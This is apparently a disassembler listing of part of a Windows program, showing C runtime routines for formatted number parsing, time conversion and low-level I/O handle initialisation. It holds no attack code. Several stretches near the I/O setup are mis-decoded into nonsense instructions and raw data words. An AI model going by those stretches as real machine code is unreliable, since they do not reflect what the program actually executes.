		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_218], eax
		jmp	short loc_427A08
; ---------------------------------------------------------------------------


loc_4279EE:				; CODE XREF: sub_426BE0+DF3j
		mov	edx, [ebp+var_1D8]
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_218], ecx


loc_427A08:				; CODE XREF: sub_426BE0+E0Cj
		cmp	[ebp+var_218], 0
		jz	short loc_427A67
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_427A67
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_4279CC
; ---------------------------------------------------------------------------


loc_427A67:				; CODE XREF: sub_426BE0+E2Fj
					; sub_426BE0+E3Fj
		movsx	ecx, ds:byte_44FD24
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	ecx, edx
		jnz	loc_427B64
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_427B64
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1E0]
		mov	dl, ds:byte_44FD24
		mov	[ecx], dl
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax


loc_427AC9:				; CODE XREF: sub_426BE0+F7Fj
		cmp	ds:dword_44FD20, 1
		jle	short loc_427AEB
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_21C], eax
		jmp	short loc_427B05
; ---------------------------------------------------------------------------


loc_427AEB:				; CODE XREF: sub_426BE0+EF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_21C], ecx


loc_427B05:				; CODE XREF: sub_426BE0+F09j
		cmp	[ebp+var_21C], 0
		jz	short loc_427B64
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_427B64
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_427AC9
; ---------------------------------------------------------------------------


loc_427B64:				; CODE XREF: sub_426BE0+E97j
					; sub_426BE0+EABj ...
		cmp	[ebp+var_6C], 0
		jz	loc_427CC9
		cmp	[ebp+var_1D8], 65h
		jz	short loc_427B84
		cmp	[ebp+var_1D8], 45h
		jnz	loc_427CC9


loc_427B84:				; CODE XREF: sub_426BE0+F95j
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		test	ecx, ecx
		jz	loc_427CC9
		mov	eax, [ebp+var_1E0]
		mov	byte ptr [eax],	65h
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_427BEE
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		jmp	short loc_427BF7
; ---------------------------------------------------------------------------


loc_427BEE:				; CODE XREF: sub_426BE0+FF2j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_427C2D


loc_427BF7:				; CODE XREF: sub_426BE0+100Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jnz	short loc_427C12
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx
		jmp	short loc_427C2D
; ---------------------------------------------------------------------------


loc_427C12:				; CODE XREF: sub_426BE0+1025j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_427C2D:				; CODE XREF: sub_426BE0+1015j
					; sub_426BE0+1030j ...
		cmp	ds:dword_44FD20, 1
		jle	short loc_427C4F
		push	4
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_220], eax
		jmp	short loc_427C6A
; ---------------------------------------------------------------------------


loc_427C4F:				; CODE XREF: sub_426BE0+1054j
		mov	eax, [ebp+var_1D8]
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_220], edx


loc_427C6A:				; CODE XREF: sub_426BE0+106Dj
		cmp	[ebp+var_220], 0
		jz	short loc_427CC9
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	short loc_427CC9
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1E0]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_427C2D
; ---------------------------------------------------------------------------


loc_427CC9:				; CODE XREF: sub_426BE0+F88j
					; sub_426BE0+F9Ej ...
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_428080
		add	esp, 8
		cmp	[ebp+var_6C], 0
		jz	short loc_427D23
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_427D21
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	0
		lea	edx, [ebp+var_1D0]
		push	edx
		mov	eax, [ebp+var_3C]
		push	eax
		movsx	ecx, [ebp+var_38]
		sub	ecx, 1
		push	ecx
		call	ds:off_450400
		add	esp, 0Ch


loc_427D21:				; CODE XREF: sub_426BE0+1111j
		jmp	short loc_427D28
; ---------------------------------------------------------------------------


loc_427D23:				; CODE XREF: sub_426BE0+1109j
		jmp	loc_427ECA
; ---------------------------------------------------------------------------


loc_427D28:				; CODE XREF: sub_426BE0:loc_427D21j
		jmp	short loc_427D74
; ---------------------------------------------------------------------------


loc_427D2A:				; CODE XREF: sub_426BE0+3B0j
					; sub_426BE0+3C4j
					; DATA XREF: ...
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, [ebp+var_1D8]
		jz	short loc_427D5A
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_428080
		add	esp, 8
		jmp	loc_427ECA
; ---------------------------------------------------------------------------


loc_427D5A:				; CODE XREF: sub_426BE0+1157j
		mov	cl, [ebp+var_28]
		sub	cl, 1
		mov	[ebp+var_28], cl
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_427D74
		mov	eax, [ebp+var_1D4]
		mov	[ebp+arg_8], eax


loc_427D74:				; CODE XREF: sub_426BE0:loc_4273D6j
					; sub_426BE0:loc_42793Dj ...
		mov	cl, [ebp+var_28]
		add	cl, 1
		mov	[ebp+var_28], cl
		jmp	short loc_427DA0
; ---------------------------------------------------------------------------


loc_427D7F:				; CODE XREF: sub_426BE0+38Bj
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_428080
		add	esp, 8
		jmp	loc_427ECA
; ---------------------------------------------------------------------------


loc_427DA0:				; CODE XREF: sub_426BE0+119Dj
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		jmp	loc_427EA1
; ---------------------------------------------------------------------------


loc_427DAE:				; CODE XREF: sub_426BE0+11Dj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_427E06
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_428080
		add	esp, 8
		jmp	loc_427ECA
; ---------------------------------------------------------------------------


loc_427E06:				; CODE XREF: sub_426BE0+1203j
		mov	eax, [ebp+var_1D8]
		and	eax, 0FFh
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_427EA1
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1F4], eax
		mov	ecx, [ebp+var_1F4]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_427E98
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1F4]
		push	edx
		call	sub_428080
		add	esp, 8
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_428080
		add	esp, 8
		jmp	short loc_427ECA
; ---------------------------------------------------------------------------


loc_427E98:				; CODE XREF: sub_426BE0+127Cj
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax


loc_427EA1:				; CODE XREF: sub_426BE0+11C9j
					; sub_426BE0+1245j
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_427EC5
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	short loc_427EC3
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	ecx, 6Eh
		jz	short loc_427EC5


loc_427EC3:				; CODE XREF: sub_426BE0+12D4j
		jmp	short loc_427ECA
; ---------------------------------------------------------------------------


loc_427EC5:				; CODE XREF: sub_426BE0+12C8j
					; sub_426BE0+12E1j
		jmp	loc_426C57
; ---------------------------------------------------------------------------


loc_427ECA:				; CODE XREF: sub_426BE0+80j
					; sub_426BE0+635j ...
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_427EFE
		cmp	[ebp+var_34], 0
		jnz	short loc_427EED
		movsx	edx, [ebp+var_28]
		test	edx, edx
		jnz	short loc_427EED
		mov	[ebp+var_224], 0FFFFFFFFh
		jmp	short loc_427EF6
; ---------------------------------------------------------------------------


loc_427EED:				; CODE XREF: sub_426BE0+12F7j
					; sub_426BE0+12FFj
		mov	eax, [ebp+var_34]
		mov	[ebp+var_224], eax


loc_427EF6:				; CODE XREF: sub_426BE0+130Bj
		mov	eax, [ebp+var_224]
		jmp	short loc_427F01
; ---------------------------------------------------------------------------


loc_427EFE:				; CODE XREF: sub_426BE0+12F1j
		mov	eax, [ebp+var_34]


loc_427F01:				; CODE XREF: sub_426BE0+131Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_426BE0	endp

; ---------------------------------------------------------------------------
off_427F08	dd offset loc_426E9A	; DATA XREF: sub_426BE0+239r
		dd offset loc_426E20
		dd offset loc_426E38
		dd offset loc_426E7C
		dd offset loc_426E25
		dd offset loc_426E87
		dd offset loc_426E8F
		dd offset loc_426EA5
byte_427F28	db 0			; DATA XREF: sub_426BE0+233r
		db 3 dup(7)
		dd 6 dup(7070707h), 2070701h, 7030707h,	7070701h, 5 dup(7070707h)
		dd 7040707h, 7050707h, 2 dup(7070707h)
		db 7, 6
off_427F76	dd offset loc_426FAB	; DATA XREF: sub_426BE0+3C4r
		dd offset loc_4274E4
		dd offset loc_427957
		dd offset loc_4273DB
		dd offset loc_427942
		dd offset loc_4274E0
		dd offset loc_426FF1
		dd offset loc_4273E2
		dd offset loc_427016
		dd offset loc_427D2A
byte_427F9E	db 0			; DATA XREF: sub_426BE0+3BEr
		db 1
		dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427FC0	proc near		; CODE XREF: sub_426BE0+9E9p
					; sub_426BE0+BCCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	ds:dword_44FD20, 1
		jle	short loc_427FE2
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_427FF7
; ---------------------------------------------------------------------------


loc_427FE2:				; CODE XREF: sub_427FC0+Dj
		mov	ecx, [ebp+arg_0]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_4], eax


loc_427FF7:				; CODE XREF: sub_427FC0+20j
		cmp	[ebp+var_4], 0
		jz	short loc_428005
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		jmp	short loc_428011
; ---------------------------------------------------------------------------


loc_428005:				; CODE XREF: sub_427FC0+3Bj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFFFDFh
		sub	edx, 7
		mov	[ebp+var_8], edx


loc_428011:				; CODE XREF: sub_427FC0+43j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_427FC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428020	proc near		; CODE XREF: sub_426BE0+370p
					; sub_426BE0+698p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jl	short loc_42805B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42806A
; ---------------------------------------------------------------------------


loc_42805B:				; CODE XREF: sub_428020+1Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423E50
		add	esp, 4
		mov	[ebp+var_4], eax


loc_42806A:				; CODE XREF: sub_428020+39j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_428020	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428080	proc near		; CODE XREF: sub_426BE0+ECp
					; sub_426BE0+666p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_428099
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42EC40
		add	esp, 8


loc_428099:				; CODE XREF: sub_428080+7j
		pop	ebp
		retn
sub_428080	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4280A0	proc near		; CODE XREF: sub_426BE0+E3p
					; sub_426BE0+353p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx


loc_4280A4:				; CODE XREF: sub_4280A0+30j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4206C0
		add	esp, 4
		test	eax, eax
		jz	short loc_4280D2
		jmp	short loc_4280A4
; ---------------------------------------------------------------------------


loc_4280D2:				; CODE XREF: sub_4280A0+2Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4280A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4280E0	proc near		; CODE XREF: seg000:0041EEF1p

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		sub	eax, 76Ch
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 46h
		jl	short loc_428100
		cmp	[ebp+arg_0], 8Ah
		jle	short loc_428108


loc_428100:				; CODE XREF: sub_4280E0+15j
		or	eax, 0FFFFFFFFh
		jmp	loc_4281CA
; ---------------------------------------------------------------------------


loc_428108:				; CODE XREF: sub_4280E0+1Ej
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		add	edx, ds:dword_450774[ecx*4]
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		and	eax, 3
		test	eax, eax
		jnz	short loc_428131
		cmp	[ebp+arg_4], 2
		jle	short loc_428131
		mov	ecx, [ebp+var_2C]
		add	ecx, 1
		mov	[ebp+var_2C], ecx


loc_428131:				; CODE XREF: sub_4280E0+40j
					; sub_4280E0+46j
		mov	edx, [ebp+arg_0]
		sub	edx, 46h
		imul	edx, 16Dh
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		sar	eax, 2
		mov	ecx, [ebp+var_2C]
		add	ecx, edx
		lea	edx, [eax+ecx-11h]
		imul	edx, 18h
		add	edx, [ebp+arg_C]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		imul	eax, 3Ch
		add	eax, [ebp+arg_10]
		imul	eax, 3Ch
		add	eax, [ebp+arg_14]
		mov	[ebp+var_4], eax
		call	sub_42ED80
		mov	ecx, [ebp+var_4]
		add	ecx, ds:dword_450690
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_2C]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_20], edx
		cmp	[ebp+arg_18], 1
		jz	short loc_4281BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_4281C7
		cmp	ds:dword_450694, 0
		jz	short loc_4281C7
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_42F190
		add	esp, 4
		test	eax, eax
		jz	short loc_4281C7


loc_4281BB:				; CODE XREF: sub_4280E0+BAj
		mov	ecx, [ebp+var_4]
		add	ecx, ds:dword_450698
		mov	[ebp+var_4], ecx


loc_4281C7:				; CODE XREF: sub_4280E0+C0j
					; sub_4280E0+C9j ...
		mov	eax, [ebp+var_4]


loc_4281CA:				; CODE XREF: sub_4280E0+23j
		mov	esp, ebp
		pop	ebp
		retn
sub_4280E0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_4281D0:				; CODE XREF: seg000:00420BDEp
		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		push	81h
		push	offset aIoinit_c ; "ioinit.c"
		push	2
		push	480h
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp-50h], eax
		cmp	dword ptr [ebp-50h], 0
		jnz	short loc_428202
		push	1Bh
		call	sub_420CA0
		add	esp, 4


loc_428202:				; CODE XREF: seg000:004281F6j
		mov	eax, [ebp-50h]
		mov	ds:dword_4EED20, eax
		mov	ds:dword_4EEE20, 20h
		jmp	short loc_42821F
; ---------------------------------------------------------------------------


loc_428216:				; CODE XREF: seg000:00428251j
		mov	ecx, [ebp-50h]
		add	ecx, 24h
		mov	[ebp-50h], ecx


loc_42821F:				; CODE XREF: seg000:00428214j
		mov	edx, ds:dword_4EED20
		add	edx, 480h
		cmp	[ebp-50h], edx
		jnb	short loc_428253
		mov	eax, [ebp-50h]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp-50h]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp-50h]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp-50h]
		mov	dword ptr [eax+8], 0
		jmp	short loc_428216
; ---------------------------------------------------------------------------


loc_428253:				; CODE XREF: seg000:0042822Ej
		lea	ecx, [ebp-48h]
		push	ecx
		call	near ptr 3D0000h
		or	[ebx-1D7E15ABh], cl
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0D2850000h, 187840Fh, 7D830000h, 840F00ECh, 17Dh, 8BEC458Bh
		dd 9C4D8908h, 83EC558Bh, 558904C2h, 0FC458BFCh,	899C4503h
		dd 7D81A045h, 8009Ch, 8B087D00h, 4D899C4Dh, 0C707EB98h
		dd 8009845h, 558B0000h,	9C558998h, 1A445C7h, 0EB000000h
		dd 0A4458B09h, 8901C083h, 0D8BA445h, 4EEE20h, 0F9C4D3Bh
		dd 918Dh, 0B66800h, 0C8680000h,	6A0043A0h, 4806802h, 79E80000h
		dd 83FFFF2Bh, 458910C4h, 0B07D83B0h, 8B0B7500h,	4EEE2015h
		dd 9C558900h, 458B64EBh, 0B04D8BA4h, 20850C89h,	8B004EEDh
		dd 4EEE2015h, 20C28300h, 0EE201589h, 9EB004Eh, 83B0458Bh
		dd 458924C0h, 0A44D8BB0h, 208D148Bh, 81004EEDh,	480C2h
		dd 0B0553900h, 458B2373h, 440C6B0h, 0B04D8B00h,	0FFFF01C7h
		dd 558BFFFFh, 542C6B0h,	0B0458B0Ah, 840C7h, 0EB000000h
		dd 0FF57E9BFh, 45C7FFFFh, 0A8h,	8B1BEB00h, 0C183A84Dh
		dd 0A84D8901h, 83FC558Bh, 558901C2h, 0A0458BFCh, 8904C083h
		dd 4D8BA045h, 9C4D3BA8h, 558B677Dh, 0FF3A83A0h,	458B5A74h
		dd 8BE0FFCh, 8501E183h,	8B4D74C9h, 0BE0FFC55h, 8E08302h
		dd 1075C085h, 8BA04D8Bh, 45E85211h, 7DFFFA7Ch, 3074C085h
		dd 0C1A8458Bh, 4D8B05F8h, 1FE183A8h, 8B24C96Bh,	0ED208514h
		dd 0D103004Eh, 8BB05589h, 4D8BB045h, 89118BA0h,	0B0458B10h
		dd 8AFC4D8Bh, 4508811h,	0FFFF76E9h, 0A845C7FFh,	0
; ---------------------------------------------------------------------------
		jmp	short loc_428407
; ---------------------------------------------------------------------------


loc_4283FE:				; CODE XREF: seg000:loc_4284DFj
		mov	eax, [ebp-58h]
		add	eax, 1
		mov	[ebp-58h], eax


loc_428407:				; CODE XREF: seg000:004283FCj
		cmp	dword ptr [ebp-58h], 3
		jge	loc_4284E4
		mov	ecx, [ebp-58h]
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20
		add	edx, ecx
		mov	[ebp-50h], edx
		mov	eax, [ebp-50h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_4284D0
		mov	ecx, [ebp-50h]
		mov	byte ptr [ecx+4], 81h
		cmp	dword ptr [ebp-58h], 0
		jnz	short loc_428444
		mov	dword ptr [ebp-6Ch], 0FFFFFFF6h
		jmp	short loc_428454
; ---------------------------------------------------------------------------


loc_428444:				; CODE XREF: seg000:00428439j
		mov	edx, [ebp-58h]
		sub	edx, 1
		neg	edx
		sbb	edx, edx
		add	edx, 0FFFFFFF5h
		mov	[ebp-6Ch], edx


loc_428454:				; CODE XREF: seg000:00428442j
		mov	eax, [ebp-6Ch]
		push	eax
		call	near ptr 3D0000h
		xchg	eax, esp
		mov	[ebp-4Ch], eax
		cmp	dword ptr [ebp-4Ch], 0FFFFFFFFh
		jz	short loc_4284BF
		mov	ecx, [ebp-4Ch]
		push	ecx
		call	near ptr 3D0000h
		cmpsb
		mov	[ebp-54h], eax
		cmp	dword ptr [ebp-54h], 0
		jz	short loc_4284BF
		mov	edx, [ebp-50h]
		mov	eax, [ebp-4Ch]
		mov	[edx], eax
		mov	ecx, [ebp-54h]
		and	ecx, 0FFh
		cmp	ecx, 2
		jnz	short loc_4284A0
		mov	edx, [ebp-50h]
		mov	al, [edx+4]
		or	al, 40h
		mov	ecx, [ebp-50h]
		mov	[ecx+4], al
		jmp	short loc_4284BD
; ---------------------------------------------------------------------------


loc_4284A0:				; CODE XREF: seg000:0042848Ej
		mov	edx, [ebp-54h]
		and	edx, 0FFh
		cmp	edx, 3
		jnz	short loc_4284BD
		mov	eax, [ebp-50h]
		mov	cl, [eax+4]
		or	cl, 8
		mov	edx, [ebp-50h]
		mov	[edx+4], cl


loc_4284BD:				; CODE XREF: seg000:0042849Ej
					; seg000:004284ACj
		jmp	short loc_4284CE
; ---------------------------------------------------------------------------


loc_4284BF:				; CODE XREF: seg000:00428465j
					; seg000:00428478j
		mov	eax, [ebp-50h]
		mov	cl, [eax+4]
		or	cl, 40h
		mov	edx, [ebp-50h]
		mov	[edx+4], cl


loc_4284CE:				; CODE XREF: seg000:loc_4284BDj
		jmp	short loc_4284DF
; ---------------------------------------------------------------------------


loc_4284D0:				; CODE XREF: seg000:00428428j
		mov	eax, [ebp-50h]
		mov	cl, [eax+4]
		or	cl, 80h
		mov	edx, [ebp-50h]
		mov	[edx+4], cl


loc_4284DF:				; CODE XREF: seg000:loc_4284CEj
		jmp	loc_4283FE
; ---------------------------------------------------------------------------


loc_4284E4:				; CODE XREF: seg000:0042840Bj
		mov	eax, ds:dword_4EEE20
		push	eax
		call	near ptr 3D0000h
		and	al, 8Bh
		in	eax, 5Dh
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	dword ptr [ebp-8], 0
		jmp	short loc_428518
; ---------------------------------------------------------------------------


loc_42850F:				; CODE XREF: seg000:loc_428592j
		mov	eax, [ebp-8]
		add	eax, 1
		mov	[ebp-8], eax


loc_428518:				; CODE XREF: seg000:0042850Dj
		cmp	dword ptr [ebp-8], 40h
		jge	short loc_428597
		mov	ecx, [ebp-8]
		cmp	ds:dword_4EED20[ecx*4],	0
		jz	short loc_428592
		mov	edx, [ebp-8]
		mov	eax, ds:dword_4EED20[edx*4]
		mov	[ebp-4], eax
		jmp	short loc_428543
; ---------------------------------------------------------------------------


loc_42853A:				; CODE XREF: seg000:loc_42856Dj
		mov	ecx, [ebp-4]
		add	ecx, 24h
		mov	[ebp-4], ecx


loc_428543:				; CODE XREF: seg000:00428538j
		mov	edx, [ebp-8]
		mov	eax, ds:dword_4EED20[edx*4]
		add	eax, 480h
		cmp	[ebp-4], eax
		jnb	short loc_42856F
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_42856D
		mov	edx, [ebp-4]
		add	edx, 0Ch
		push	edx
		call	ds:dword_4F136C	; RtlDeleteCriticalSection


